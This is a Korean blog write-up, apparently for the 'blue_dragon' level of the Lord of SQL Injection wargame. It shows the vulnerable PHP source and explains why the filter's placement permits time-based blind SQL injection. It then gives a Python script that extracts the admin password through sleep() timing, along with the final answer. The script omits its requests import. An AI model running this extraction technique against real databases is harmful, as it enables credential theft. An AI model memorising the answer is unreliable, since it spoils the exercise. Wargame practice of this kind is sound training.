728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>

처음에 입력값을 필터링하고 나서 쿼리를 실행 후 다시 입력값을 필터링한다.

두 번째 필터링은 '와 \ 문자를 필터링해서 뚫기 힘들다. 처음에 입력값을 필터링한 후 쿼리를 실행한다는 점에 주목하자. 

Time Based SQL Injection이 가능하다.

참고로 두 번째 조건에 \\\는 오타인 거 같다. \\가 '\'문자를 이스케이프 처리한 것이기 때문에 \\가 맞다고 본다.

사용한 코드는 다음과 같다.

import time
url='https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        start=time.time()
        r=requests.get(url+"?id=admin' and if(length(hex(pw))={},sleep(1),0)%23".format(pw_len),cookies=cookie)
        end=time.time()
        
        if end-start>1:
            return pw_len
        else:
            pw_len+=1

#d948b8a0
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            start=time.time()
            r=requests.get(url+"?id=admin' and if(substr(hex(pw),{},1)='{}',sleep(1),0)%23".format(i,j),cookies=cookie)
            end=time.time()
            if end-start>1:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end='')
                    tmp=''
                break
                        
find_pw()

답: ?pw=d948b8a0

728x90

'Lord of SQL Injection' 카테고리의 다른 글

phantom  (0) 2023.01.03
frankenstein  (2) 2023.01.02
red_dragon  (0) 2023.01.02
green_dragon  (2) 2023.01.02
evil_wizard  (0) 2023.01.02

+ Recent posts